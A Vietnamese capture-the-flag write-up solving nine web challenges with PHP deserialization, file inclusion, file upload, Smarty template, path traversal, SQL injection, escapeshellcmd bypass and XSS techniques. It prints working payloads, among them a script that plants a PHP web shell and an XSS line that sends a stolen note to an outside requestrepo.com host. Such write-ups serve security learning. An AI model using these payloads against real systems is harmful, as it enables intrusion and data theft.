# KCSC TTV (WEB)
---
###### tags: `CTF`
## 1. Pokemon Hof Panel Level 1
Trong file **index.php** thực hiện chức năng serialize class **Trainer()** sau đó base64 encode và gán vào cookie.
```php!
<?php
include("./classes/trainer.php");
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST["name"])) {
$name = $_POST["name"];
$starter = $_POST["starter"];
$user = new Trainer($name, $starter);
$serializedUser = serialize($user);
$base64Encoded = base64_encode($serializedUser);
setcookie("trainer_data", $base64Encoded, time() + 3600);
header("Location: ./champ.php");
}
}
?>
```
Class **Trainer**:
```php!
<?php
class Trainer {
public $name;
public $starter;
public $isChampion;
public function __construct($name, $starter) {
$this->name = $name;
$this->starter = $starter;
$this->isChampion = false;
}
public function getname() {
return $this->name;
}
public function getChampion() {
return $this->isChampion;
}
public function setname($name) {
$this->name = $name;
}
}
?>
```
File **champ.php** thực hiện deserialize cookie **trainer_data** sau đó check thuộc tính **isChampion** của `$users`, nếu **true** thì hiện flag1.
```php!
<?php
include("./classes/trainer.php");
include("./classes/utils.php");
function isChampion($user) {
return $user->getChampion();
}
if (isset($_COOKIE["trainer_data"])) {
$base64Encoded = $_COOKIE["trainer_data"];
$serializedUser = base64_decode($base64Encoded);
$user = unserialize($serializedUser);
if (isChampion($user)) {
$title = "Champion Pannel";
$msg = "Hello, " . $user->getname() . " KCSC{level1_fakeflag}";
} else {
$title = "Trainer Pannel";
$msg = "Access denied. You are not a champion.";
}
} else {
$title = "Something's wrong!!!";
$msg = "No trainer data found. Please choose your starter.";
}
?>
```
Thuộc tính **isChampion** ngay từ lúc khởi tạo đã được gán giá trị **false**, tuy nhiên lỗ hổng deserialize cho phép tùy biến chỉnh sửa giá trị của các thuộc tính.
Đây là cookie mình nhận được sau khi serialize class **Trainer**:
```!
O:7:"Trainer":3:{s:4:"name";s:3:"nam";s:7:"starter";s:9:"Bulbasaur";s:10:"isChampion";b:0;}
```
`b:0` có nghĩa là **false**, `b:1` là **true**. Payload:
```!
O:7:"Trainer":3:{s:4:"name";s:3:"nam";s:7:"starter";s:9:"Bulbasaur";s:10:"isChampion";b:1;}
```

## 2. Pokemon Hof Panel Level 2
Chall này là phần tiếp theo của **Pokemon Hof Panel Level 1**, tác giả cho include class **utils.php**:
```php!
<?php
class Utils {
private $error;
private $logfile;
function __construct() {
$this->logfile = "_error.log";
}
public function __toString() {
$this->writelog();
return "Error: " . $this->error;
}
public function writelog() {
file_put_contents("/tmp/logs/".date('H_i_s').$this->logfile, $this->error);
}
}
?>
```
Class **Utils** này có một phương thức **writelog()** thực hiện **file_put_contents()** vào `/tmp/logs`, sau đó là filename được nối bằng hàm **date('H_i_s')** và thuộc tính `logfile` được gán bằng `_error.log` lúc khởi tạo. File content là thuộc tính `error`. Chỗ này có thể sử dụng để write shell vì thuộc tính `logfile` và `error` control được bằng deserialize.
Tiếp theo là phương thức **__toString()**, đây là một phương được sử dụng để định nghĩa cách một đối tượng sẽ được chuyển đổi thành một chuỗi, ví dụ sử dụng hàm **echo()**.
Trong source code, chỗ duy nhất **echo()** đó là đoạn:
```php!
if (isChampion($user)) {
$title = "Champion Pannel";
$msg = "Hello, " . $user->getname() . " KCSC{level1_fakeflag}";
}
...
<body>
<div id="box">
<div id="card" class="card nes-container with-title is-dark is-rounded pannel">
<h3 class="title"><?php echo(htmlspecialchars($title)); ?></h3>
<?php echo(htmlspecialchars($msg)); ?>
</div>
</div>
</body>
```
Do đó ý tưởng của mình là sử dụng **deserialize custom gadget** để gán thuộc tính `name` của **Trainer** bằng class **Utils**, khi `$user->getname()` sẽ trả về thuộc tính `name` là class **Utils**, **echo()** sẽ trigger phương thức **__toString()** và thực hiện write shell.
### Khai thác:
Script render payload deserialize:
```php!
<?php
class Trainer {
public $name;
public $starter;
public $isChampion;
public function __construct($name, $starter) {
$this->name = $name;
$this->starter = $starter;
$this->isChampion = true;
}
public function getname() {
return $this->name;
}
public function getChampion() {
return $this->isChampion;
}
public function setname($name) {
$this->name = $name;
}
}
class Utils {
private $error = "<?php system(\$_GET['cmd']);?>";
private $logfile;
function __construct() {
$this->logfile = '/../../../../../var/www/html/nammbruhh.php';
}
public function __toString() {
$this->writelog();
return "Error: " . $this->error;
}
public function writelog() {
file_put_contents("/tmp/logs".date('H_i_s').$this->logfile, $this->error);
}
}
$bruh = new Trainer(new Utils(),'a');
echo base64_encode(serialize($bruh));
```





## 3. Mi Tom Thanh Long

Param `page` nhận giá trị là một đường dẫn file để hiển thị các trang khác nhau nên khả năng dính bug File Inclution, thử với `/etc/passwd`:

Khả năng flag ở trong `pages/flag.php`, mình dùng `php://filter` để encode file `flag.php` về dạng base64 để nó không thực thi được code PHP trong file.
Payload:
```
?page=php://filter/read=convert.base64-encode/resource=pages/flag.php
```


## 4. Apply To KCSC

Mình thử upload file bất kỳ thì chỉ allow file PDF dưới 1MB 
Upload thành công sẽ nhận được đường dẫn file:

Bắt Burp để edit request body, mình thử đổi Content-Type thì bị detect ngay:

Tuy nhiên file extension thì lại allow:

Vậy server chỉ check Content-Type để ngăn chặn file upload, inject webshell PHP để thực thi:

Truy cập đến file để RCE:


`cat /flag`

## 5. WarmupPHP 01

Web có chức năng nhập `name` và in ra `KCSC hello fen, ` + `name`. Trigger SSTI:

Sau một hồi fuzzing thì mình detect web sử dụng lib **Smarty** để render template:

**Smarty v4.3.4** khá mới và đã fix gần như hết các PoC có thể khai thác dẫn đến RCE. Đến đoạn này mình khá stuck, tuy nhiên vì chall này có 3 cấp độ nên mình nghĩ là chưa phải RCE vội. Fuzz entry point mình tìm được **/robots.txt**:

Vậy là có source để đọc goy:

Source **index.php**:
```php!
<?php
include('flag1.php');
include('flag2.php');
include_once('/app/vendor/autoload.php');
define('FLAG1', $flag1);
if(!isset($_GET['name'])) {
header('Location: /?name=guest');
}
if (isset($_GET['source'])) {
show_source(__FILE__);
}
$smarty = new Smarty();
$policy = new Smarty_Security($smarty);
if(str_starts_with($_GET['name'], 'kcsc')) {
$policy->php_functions = $allow_php_func;
}
$smarty->enableSecurity($policy);
$smarty->display('string:KCSC hello fen, '.$_GET['name']);
```
Flag 1 ở trong **flag1.php** và được gán vào `FLAG1`. Đọc doc về thằng **Smarty**:

Mình có thể truy cập đến các PHP constant values thông qua `$smarty`, khá easy nếu bạn chăm đọc doc, đừng như mình 😞

## 6. WarmupPHP 02
File **index.php**:
```php!
<?php
include('flag1.php');
include('flag2.php');
include_once('/app/vendor/autoload.php');
define('FLAG1', $flag1);
if(!isset($_GET['name'])) {
header('Location: /?name=guest');
}
if (isset($_GET['source'])) {
show_source(__FILE__);
}
$smarty = new Smarty();
$policy = new Smarty_Security($smarty);
if(str_starts_with($_GET['name'], 'kcsc')) {
$policy->php_functions = $allow_php_func;
}
$smarty->enableSecurity($policy);
$smarty->display('string:KCSC hello fen, '.$_GET['name']);
```
Web sử dụng **Smarty_Security** và chỉ cho phép sử dụng các function trong `$allow_php_func` nếu `name` bắt đầu bằng `kcsc`.
Chall 1 gợi ý rằng ta có một file `flag2.php.bak` có thể truy cập được:

File **flag2.php.bak**:
```php!
<?php
function debug($input) {
if (str_contains($input, '/') || str_contains($input, '.')) {
die('invalid filepath');
}
if (strlen(readlink($input)) >= 128) {
echo file_get_contents($input);
}
}
$allow_php_func = [
'debug',
'symlink'
];
?>
```
Vậy các function mà mình có thể truy cập được là `symlink` và `debug`.
Hàm `symlink` sử dụng để tạo một liên kết động mà ta có thể truy cập đến một file thông qua liên kết động đó. Còn `debug` là một func được định nghĩa nhận vào một `$input` string không chứa 2 ký tự `/` và `.`, hàm `readlink` dùng để đọc đường dẫn đến file của một liên kết động và đường dẫn đó phải có độ dài lớn hơn 128 ký tự. Khi đó mình có thể đọc file đó luôn.
Đầu tiên mình tạo một liên kết động đến file `/etc/passwd`:
```!
kcsc{symlink('../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd','bruh1')}
```
Nếu tạo thành công sẽ trả về 1:

Đọc file thành công:

Bây giờ chỉ cần đọc file `flag2.php` thui, payload:
```!
kcsc{symlink('../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/cwd/flag2.php','faker')}
```

Đọc file lấy flag hoy:

## 7. save_the_world
File **app.py**:
```python!
from flask import Flask, send_file, request, render_template
import os
from urllib.parse import unquote
import secrets
import config
from middleware import PathTraversalMiddleware
app = Flask(__name__,template_folder="templates")
app.wsgi_app = PathTraversalMiddleware(app.wsgi_app)
@app.route('/')
def hello_world():
return render_template('index.html')
@app.route('/upload', methods=['POST','GET'])
def handleUpload():
if request.method == 'POST':
if 'file' not in request.files:
return 'No file part'
file = request.files['file']
if file.filename == '':
return 'No selected file'
extension = file.filename.split('.')[-1]
if extension not in config.ALLOW_EXTENSION:
return 'Invalid file extension'
new_name = '%s.%s' % (secrets.token_hex(16), extension)
print(new_name)
if file:
file.save('%s/%s' % (config.UPLOAD_FOLDER,new_name))
return render_template('upload.html', success_message='File uploaded successfully: %s' % new_name)
else:
return render_template('upload.html')
@app.route('/viewfile/<filepath>')
def handleFile(filepath):
target_file = os.path.abspath('%s/%s' % (config.UPLOAD_FOLDER,unquote(filepath)))
if os.path.isfile(target_file):
return send_file(target_file)
else:
return '', 404
if __name__ == '__main__':
app.run(host="0.0.0.0",port=5000)
```
Có 2 entry point là `/upload` và `/viewfile/<filepath>`, chúng ta tập chung vào entry point thứ 2 vì nó có thể dính bug File Path Traversal.
```python
target_file = os.path.abspath('%s/%s' % (config.UPLOAD_FOLDER,unquote(filepath)))
```
Ở đây `unquote` được sử dụng để giải mã các ký tự URL-encoded trong `filepath`.
Web sử dụng **PathTraversalMiddleware** - một class middleware được định nghĩa trong file **middleware.py**:
```python!
class PathTraversalMiddleware:
def __init__(self, app):
self.app = app
def __call__(self, environ, start_response):
# Extract the path from the request
path = environ.get('PATH_INFO', '')
# Check if the path contains ".."
if ".." in path:
# Block the request if it contains ".."
return self.block_request(start_response)
# If the path is safe, proceed with the request
return self.app(environ, start_response)
def block_request(self, start_response):
# Return a 403 Forbidden response
start_response('403 Forbidden', [('Content-Type', 'text/plain')])
return [b'Forbidden: Path traversal not allowed.']
```
Trước khi mỗi request được chuyển đến **WSGI (app.wsgi_app)**, nó sẽ đi qua middleware **PathTraversalMiddleware** để thực hiện detect xem `path` hay đường dẫn có chứa chuỗi `..` hay không. Nếu có sẽ trả về 403 không có quyền truy cập.
Debug trên local mình thử URL encode một lần thì server đã decode `path` của mình 😞:


Chắc chắn là sẽ bị detect rùi.
Mình thử URL encode một lần nữa:

Có thể bypass qua class **PathTraversalMiddleware**:

Tiếp theo đến entry point `/viewfile` nó sẽ bị decode một lần nữa và trả về đường dẫn tuyệt đối:

Oke bây giờ đấm web thui:

File **docker-compose.yml**:
```yml!
version: '3'
services:
web:
build: .
environment:
- FLAG=KCSC{REDACTED}
ports:
- "5000:5000"
restart: unless-stopped
```
Vậy là flag được giấu trong **environment**, đọc file `/proc/self/environ`:
## 8. kpop
Website có chức năng đăng ký, đăng nhập, target là truy cập được vào người dùng có quyền **admin**.
Dạo một vòng source code thì mình thấy có duy nhất một chỗ có thể SQL Injection vào được đó là ở file **login.php**, còn đâu những chỗ query khác đều bị prepare stament:
```python!
<?php
include_once "db.php";
include_once "filter.php";
session_start();
if (isset($_SESSION['username'])) {
header('Location: index.php');
exit();
}
function genLogCode()
{
$length = 8;
$randomNumber = '';
for ($i = 0; $i < $length; $i++) {
$digit = rand(0, 9);
$randomNumber .= strval($digit);
}
return $randomNumber;
}
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];
$logcode = isset($_POST['logcode']) ? $_POST['logcode'] : genLogCode();
//Check credentials
try {
$query = "SELECT * FROM users WHERE username=? and password =?";
$stmt = $conn->prepare($query);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
} catch (Exception $e) {
die("Error");
}
$result = $stmt->get_result();
if ($result->num_rows > 0) {
try {
$row = $result->fetch_assoc();
$query = "INSERT INTO logs (logcode,username) VALUES (" . $logcode . ",?)";
$stmt->prepare($query);
$stmt->bind_param("s", $username);
$stmt->execute();
$_SESSION['username'] = $username;
header("Location: index.php");
exit();
} catch (Exception $e) {
die("Error");
}
} else {
header("Location: /login.php?error=");
exit();
}
}
}
?>
```
Đoạn code dính SQl Injection:
```python
try {
$row = $result->fetch_assoc();
$query = "INSERT INTO logs (logcode,username) VALUES (" . $logcode . ",?)";
$stmt->prepare($query);
$stmt->bind_param("s", $username);
$stmt->execute();
$_SESSION['username'] = $username;
header("Location: index.php");
exit();
} catch (Exception $e) {
die("Error");
}
```
Sau khi check login xong, nếu có đăng nhập thành công thì sẽ INSERT vào table `logs` 2 giá trị `logcode` và `username`. Ở đây mình có thể control được biến `$logcode` để SQL Injection vào câu query.
Sau khi đăng nhập vào, ở **history.php**:
```python!
<?php
include_once "db.php";
include_once "filter.php";
session_start();
if (!isset($_SESSION['username'])) {
header('Location: login.php');
exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>History</title>
<link rel="stylesheet" href="style/style.css">
<script src="/js/index.js"></script>
</head>
<body>
<p>Logs</p>
<?php
if (isset($_REQUEST['view_by_logcode']) && isset($_POST['logcode'])) {
$view = 1;
echo $view;
}
$query = "SELECT * FROM logs WHERE ";
if (@$view) {
$query .= "logcode = ?";
$paramValue = $_REQUEST['logcode'];
} else {
$query .= "username = ?";
$paramValue = $_SESSION['username'];
}
$stmt = $conn->prepare($query);
$stmt->bind_param("s", $paramValue);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
echo "<table><tr><th>LogCode</th><th>Username</th></tr>";
while ($row = $result->fetch_assoc()) {
echo "<tr><td>" . $row["logcode"] . "</td><td>" . $row["username"] . "</td></tr>";
}
echo "</table>";
} else {
echo "<p>0 log found</p>";
}
?>
<div class="bottom-buttons">
<?php if ($_SESSION['username'] == 'aespa') echo "<button onclick=\"goTo('/admin.php')\">Admin</button>\n" ?>
<button onclick="goTo('/history.php')">History</button>
<button onclick="goTo('/index.php')">Home</button>
<button onclick="goTo('/logout.php')">Logout</button>
</div>
</body>
</html>
```
Ở đây, nếu có 2 param `view_by_logcode` và `logcode` thì query đến table `logs` sẽ WHERE theo `logcode`, còn không thì sẽ WHERE theo `username` lấy từ session.
Ban đầu mình thử xem có **stackquery** được không tuy nhiên nó không hiệu quả và file **filter.php** cũng filter khá nhiều:
```python!
<?php
function containsDangerousCharacters($inputString)
{
$specialCharacters = array("`", "\"", "'", "-", "#","flag","sleep","benchmark");
foreach ($specialCharacters as $char) {
if (strpos($inputString, $char) !== false) {
return true;
}
}
return false;
}
foreach ($_POST as $i) {
if (containsDangerousCharacters(strtolower((string)$i))) {
http_response_code(403);
die("Dangerous Character");
}
}
```
Ý tưởng tiếp theo là mình định thực hiện một truy vấn con và trả về kết quả là `password` của admin, tuy nhiên trong file **init.sql**:
```sql!
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+07:00";
CREATE TABLE IF NOT EXISTS `users` (
`id` int(11) PRIMARY KEY NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(150) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
CREATE TABLE IF NOT EXISTS `logs` (
`id` int(11) PRIMARY KEY NOT NULL AUTO_INCREMENT,
`logcode` int(12) NOT NULL,
`username` varchar(50) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO `users` (`id`, `username`, `password`) VALUES
(1, "RedVelvet","https://youtu.be/xlyrt5eAtKI"),
(2, "NewJeans","https://youtu.be/ArmDp-zijuc"),
(3, "IVE","https://youtu.be/F0B7HDiY-10"),
(4, "LE SSERAFIM", "https://youtu.be/hLvWy2b857I"),
(5, "aespa", "REDACTED"),
(6, "NewJeans","https://youtu.be/sVTy_wmn5SU");
GRANT ALL PRIVILEGES ON KCSC_TTV.* TO KCSC;
FLUSH PRIVILEGES;
```
Column `logcode` lấy giá trị **int** 12 ký tự, nhưng column `username` lại lấy **varchar**. Vậy là mình thử SQLi để gán cột `username` bằng giá trị `password` admin với payload:
```!
username=nam&password=1&logcode=1,(SELECT password FROM users WHERE id=5)),(1000
```
Bởi vì đây là prepare stament lên bắt buộc mình phải để lại dấu `?` đúng cú pháp thì nó mới chạy

Bởi vì mình inject vào cột `username` nên sang bên **history.php** phải query qua param `logcode` mới lấy được giá trị cột `username`. Tuy nhiên có một vấn đề là mình truy vấn theo `logcode` vẫn không thấy:

Mình thử lấy của các user khác thì vẫn oke:


Sau khi thử lại nhiều lần vẫn không được thì mình tạo ticket hỏi author thì bạn ấy bảo xem kỹ file **init.sql**. Đúng là mình đã đọc không kỹ vì cột `username` chỉ cho lấy 50 ký tự, do đó `password` admin có thể lớn hơn nên không thể lấy được.
Mình sử dụng SUBSTRING để cắt 50 ký tự một của `password` admin thui:
```!
username=nam&password=1&logcode=3,(SELECT SUBSTRING((SELECT password FROM users WHERE id=5),1,50))),(1000
```

```!
username=nam&password=1&logcode=4,(SELECT SUBSTRING((SELECT password FROM users WHERE id=5),51,50))),(1000
```

```!
username=nam&password=1&logcode=5,(SELECT SUBSTRING((SELECT password FROM users WHERE id=5),101,50))),(1000
```

Sau 3 lần thì lấy hết được `password` admin
```!
https://youtu.be/ZeerrnuLi5E&SampleTextThatMakeYouNeedToUsingXXXXXXToGetFullPasswordAndMakeYouUseItThr3eT1m3s5
```
Login thui, vào được **admin.php** rùi:

File **admin.php**:
```python!
<?php
include "db.php";
include "filter.php";
session_start();
if (!isset($_SESSION['username'])) {
header('Location: login.php');
exit();
}
if ($_SESSION['username'] !== "aespa") {
header('Location: index.php');
exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<title>CAT FLAG</title>
<link href="/style/form.css" rel="stylesheet">
</head>
<body>
<div class="wrapper fadeInDown">
<div id="formContent">
<div class="fadeIn first">
<h2>Command</h2>
<h3>
<?php
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$command = isset($_POST['cmd']) ? escapeshellcmd($_POST['cmd']) : "/hint_to_get_flag.txt";
system("cat " . $command);
}
?>
</h3>
</div>
<form action="admin.php" method="post">
<input type="text" id="inputBox" class="fadeIn second" name="cmd" placeholder="/flag.txt">
<input type="submit" class="fadeIn fourth" value="Execute">
</form>
</div>
</div>
</body>
</html>
```
Đoạn code thực hiện command:
```python
<?php
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$command = isset($_POST['cmd']) ? escapeshellcmd($_POST['cmd']) : "/hint_to_get_flag.txt";
system("cat " . $command);
}
?>
```
Đọc file **/hint_to_get_flag.txt**:

Có vẻ như hàm **escapeshellcmd()** vẫn có thể bị bỏ qua. Flag trong **flag.txt** tuy nhiên chuỗi `flag` đã bị blacklist, `cat /f*` thì bị **escapeshellcmd()** filter.
Sau một hồi đọc doc và test thử thì mình đã tìm ra được ký tự bypass được:

Test command trên linux và nó vẫn `cat` được file `flag.txt`, ảo ma canada:

Có vẻ nó hoạt động như này:
Khi gặp dấu `\` nó sẽ trả về con trỏ cho phép mình nhập tiếp filename để nối với đoạn `fla`
(Troll quá 🤦♂️)
File name của mình chứa sẵn ký tự xuống dòng rồi nên nó sẽ lấy đoạn text sau nối với đoạn text đầu thành file name hoàn chỉnh.
Payload: `cmd=/fla%0ag.txt`

## 9. XmaS noteS
Web cho mình nhập một note rồi lưu lại dưới một `uuid`, nhấn **report** thì bot sẽ truy cập đến note của mình.
Đây là một chall XSS, mình sẽ phân tích từng file một trong source, **routes.js**:
```javascript!
const { isAdmin, authenSecret, randomKey } = require("../utils/authorisation");
const express = require("express");
const session = require("express-session");
const uuid = require("uuid");
const router = express.Router({ caseSensitive: true });
const visit = require("../utils/bot.js");
let db;
router.use(
session({
genid: (req) => {
return uuid.v4();
},
secret: randomKey,
resave: false,
saveUninitialized: true,
})
);
const response = (data) => ({ message: data });
router.get("/", (req, res) => {
return res.render("index.html");
});
router.get("/notes", (req, res) => {
return res.render("viewnotes.html");
});
router.post("/submit", async (req, res) => {
const { message } = req.body;
if (message) {
return db
.insertNote(message, uuid.v4())
.then(async (inserted) => {
res.status(201).send(response(inserted));
})
.catch(() => {
res.status(500).send(response("Something went wrong!"));
});
}
return res.status(401).send(response("Missing required parameters!"));
});
router.get("/note/:uuid", async (req, res) => {
try {
const { uuid } = req.params;
const message = await db.getNote(uuid);
if (!message)
return res.status(404).send({
error: "Can't find this note!",
});
if (message.hidden && !isAdmin(req))
return res.status(401).send({
error: "Sorry, this note has been hidden by admin!",
});
return res.status(200).send({
message: message.message,
});
} catch (error) {
console.error(error);
res.status(500).send({
error: "Something went wrong!",
});
}
});
router.get("/visit/:uuid", async (req, res) => {
const { uuid } = req.params;
if (uuid) {
try {
await visit(`http://127.0.0.1:1337/notes?uuid=${uuid}`, authenSecret);
res.status(200).json({ message: "Bot has been visited" });
} catch (e) {
console.log(e);
}
} else {
res.status(400).json({ error: "Invalid uuid" });
}
});
module.exports = (database) => {
db = database;
return router;
};
```
Route `/submit` lấy `message` từ body và insert vào table trong Database theo một `uuid` random.
Route `/note/:uuid` lấy `uuid` từ query param, lấy `message` theo `uuid` và trả về `message`.
Route `/visit/:uuid` lấy `uuid` từ query param sau đó sử dụng hàm `visit()` trong **bot.js** để bot truy cập đến `http://127.0.0.1:1337/notes?uuid=${uuid}`.
File **main.js**:
```javascript!
const submitNote = document.getElementById('submit_note');
const sendNote = document.getElementById('save-note');
const input = document.getElementById('note-content-input');
const typeMessage = (message) => {
sendNote.innerText = '';
sendNote.style.display = '';
message.split('').forEach((char, index) => {
setTimeout(() => {
sendNote.innerHTML += char;
}, index * 100);
});
};
submitNote.addEventListener('click', (event) => {
typeMessage('Saving your note...');
fetch('/submit', {
method: 'POST',
body: JSON.stringify({
message: input.value,
}),
headers: {
'Content-Type': 'application/json',
},
})
.catch(error => {
typeMessage(error);
})
.then(response => response.json()
.then(data => {
if (response.status !== 201) {
typeMessage(data.message);
} else {
setTimeout(() => {
window.location = '/notes?uuid=' + data.message;
}, 2000);
}
}));
});
```
Khi bạn click **Submit** note thì nó sẽ fetch đến route `/submit` cho bạn.
File database.js:
```javascript!
const sqlite = require("sqlite-async");
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS notes;
CREATE TABLE IF NOT EXISTS notes (
uuid VARCHAR(300) NOT NULL,
message VARCHAR(300) NOT NULL,
hidden INTEGER NOT NULL
);
INSERT INTO notes (uuid, message, hidden) VALUES
("1", "Merry christmas ! KCSC{fakeflag}.", 1)
`);
}
async getNote(uuid) {
return new Promise(async(resolve, reject) => {
try {
let stmt = await this.db.prepare("SELECT * FROM notes WHERE uuid = ?");
resolve(await stmt.get(uuid));
} catch (e) {
reject(e);
}
});
}
async insertNote(message, uuid) {
return new Promise(async(resolve, reject) => {
try {
let stmt = await this.db.prepare("INSERT INTO notes (uuid, message, hidden) VALUES (?, ?, ?)");
await stmt.run(uuid, message, false);
resolve(uuid);
} catch (e) {
reject(e);
}
});
}
}
module.exports = Database;
```
Sử dụng thư viện `sqlite-async` để tạo database và vài phương thức truy vấn với dữ liệu. Đều dùng prepare stament nên khó SQLi 😞. Để ý một chút thì flag được dấu trong note có `uuid=1`. Và có lẽ chỉ admin hay chính là bot mới vào được, **authorisation.js**:
```javascript!
const authenSecret = require('crypto').randomBytes(52).toString('hex');
const randomKey = require('crypto').randomBytes(52).toString('hex');
const isAdmin = (req, res) => {
return req.ip === '127.0.0.1' && req.cookies['auth'] === authenSecret;
};
module.exports = {
authenSecret,
randomKey,
isAdmin,
};
```
File mình chú ý nhất là **viewnote.js**:
```javascript!
let currentNote = new URL(location.href).searchParams.get('uuid') ?? '1';
const note = document.getElementById('note');
const noteText = document.getElementById('note-content');
const errorMessage = document.getElementById('error-message');
const nextLink = document.getElementById('next');
const previousLink = document.getElementById('previous');
const submitNote = document.getElementById('submit_note');
const report = document.getElementById('report');
const vistingMessage =document.getElementById('visting');
const typeMessage = (message) => {
vistingMessage.innerText = '';
vistingMessage.style.display = '';
message.split('').forEach((char, index) => {
setTimeout(() => {
vistingMessage.innerHTML += char;
}, index * 100);
});
};
const loadNote = () => {
fetch(`/note/${currentNote}`)
.then(response => response.json())
.then(data => {
if (data.error) {
note.style.display = 'none';
errorMessage.style.display = '';
errorMessage.textContent = data.error;
return;
}
note.style.display = '';
errorMessage.style.display = 'none';
noteText.innerHTML = data.message;
});
};
loadNote();
const reportToBot = () => {
typeMessage('Bot is visiting...');
fetch(`/visit/${currentNote}`)
.then(response => response.json())
.then(data => {
if (data.error) {
alert(data.error)
return;
}
alert(data.message)
location.reload();
});
};
```
Vì `message` được lưu vào db mà không filter gì sau đó được `innerHTML` vào `noteText` hay tag có id là `note-content`. Nên đây là sự kết hợp của Stored và DOM-Based XSS.
### Khai thác:
Không filter gì nên payload trigger khá đơn giản:
```
<img src=a onerror="alert(1);"/>
```

Trigger bot check note:
```
<img src=a onerror="fetch('http://zbjfgdkc.requestrepo.com');"/>
```
Request của bot có user-agent là Linux (vì mình dùng brower trên Windows):

Oke bây giờ fetch đến `/node/1`, khi đó bot check sẽ có quyền truy cập note, lấy text và gửi nội dung node với `uuid=1` về cho mình. Payload:
```!
<img src=a onerror="fetch('/note/1').then(response => response.text()).then(data => fetch('http://zbjfgdkc.requestrepo.com/?'+data)).catch(error => console.error(error));"/>
```

Hết goyyyy 😑